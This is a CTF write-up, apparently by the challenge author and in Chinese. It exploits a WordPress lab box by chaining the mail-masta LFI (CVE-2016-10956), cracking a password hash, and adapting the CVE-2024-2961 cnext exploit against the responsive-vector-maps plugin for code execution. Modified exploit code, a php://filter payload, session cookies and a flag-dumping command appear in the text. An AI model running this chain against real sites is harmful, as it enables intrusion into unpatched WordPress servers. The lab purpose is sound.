第一次出题, 难度没把握好, 看解题情况不太理想
image.png
环境地址: https://kengwang.lanzouo.com/icftJ23q0p2j

首先看到网站是一个 WordPress, 翻看文章

image-20240622191502966

能够得知其用了 SQLite 数据库

此处我们通过搜索可以得知 WordPress 中要使用 SQLite 可以通过插件: https://wordpress.org/plugins/sqlite-database-integration/

代码审计可以知道

image-20240622200006163

可以知道数据库默认存在 /var/www/html/wp-content/database/.ht.sqlite, 考虑通过 LFI 进行下载

我们通过 wpscan 可以找到有很多过时的插件, 怕大家不好找到一个好的入口点, 我把我用的入口点写到了最初的文章评论里面

关注到 mail-masta 的 CVE-2016-10956, 采用这个工具尝试读取

https://github.com/p0dalirius/CVE-2016-10956-mail-masta/blob/master/CVE-2016-10956_mail_masta.py

image-20240622201451837

下载完数据库打开后即可看到有 subscriber 用户

image-20240622201602106

密码为 $P$BHU9YuIGcS2XbDZF106dBj0c2tjjfN/, 我们给到 john

791328272b75716dbe596eb2afb76df4

下面得到密码为 123456

登录之后拿到 cookie,

我们再关注到 RVM 的 Subscriber+ 读

image-20240622203336244

但是一直没有 RCE 的点, 于是考虑打 CVE-2024-2961 LFI to RCE

我们通过subscriber登录

使用 https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

稍微改改脚本的逻辑, Remote 类改成:

def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
        self.session.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
            "Cookie":"wordpress_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Cb847e13631b08d8e6cb3528b7b3ffe5cfc26e3dd7be5a4dc9dcdc0151c0be873; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720026818,1720091541,1720161557; HMACCOUNT=06D642FA6D3CD649; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1720161560; PHPSESSID=6fd15deed30423894715ced0e98b545f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Ce0c1af65c1951fece8672cc3b08c4d583a056923594d950558734c06b49e22b8; wp-settings-time-5=1720163412"}
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        print(path)
        req = self.session.post(self.url + "/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path="+quote(path))
        return req
        #return self.session.get(self.url + "/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php/?url=" + quote(path))
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        print(response)
        data = response.re.search(b" name=\"(.*)\[\]", flags=re.S).group(1)
        try:
            return base64.decode(data)
        except Exception as e:
            print(e)
            return data

之后我们就可以通过 responsive-vector-maps 的任意文件读来发反弹 shell

image-20240622204627055

但是i春秋平台上的靶机似乎没反弹成功, 我后来又用了输出流重定向能打出来

/readflag > /var/www/html/flag

image.png

建议大家可以多研究研究这个 CVE, 这个的影响面真的很广, 之后肯定还会有更多的题出这个漏洞的.

参考链接 https://xz.aliyun.com/t/14690

下面贴一点非预期:

  • 可以通过几个存在 LFI 的插件的 include 点来打 perlcmd 进行木马写入 (by 春秋杯 1 群群友)
  • 可以通过 wpscan 扫描到 subscriber 用户猜测弱密码 (by 珂字辈)

第一次出题, 如果有什么不太好的地方欢迎在评论区指出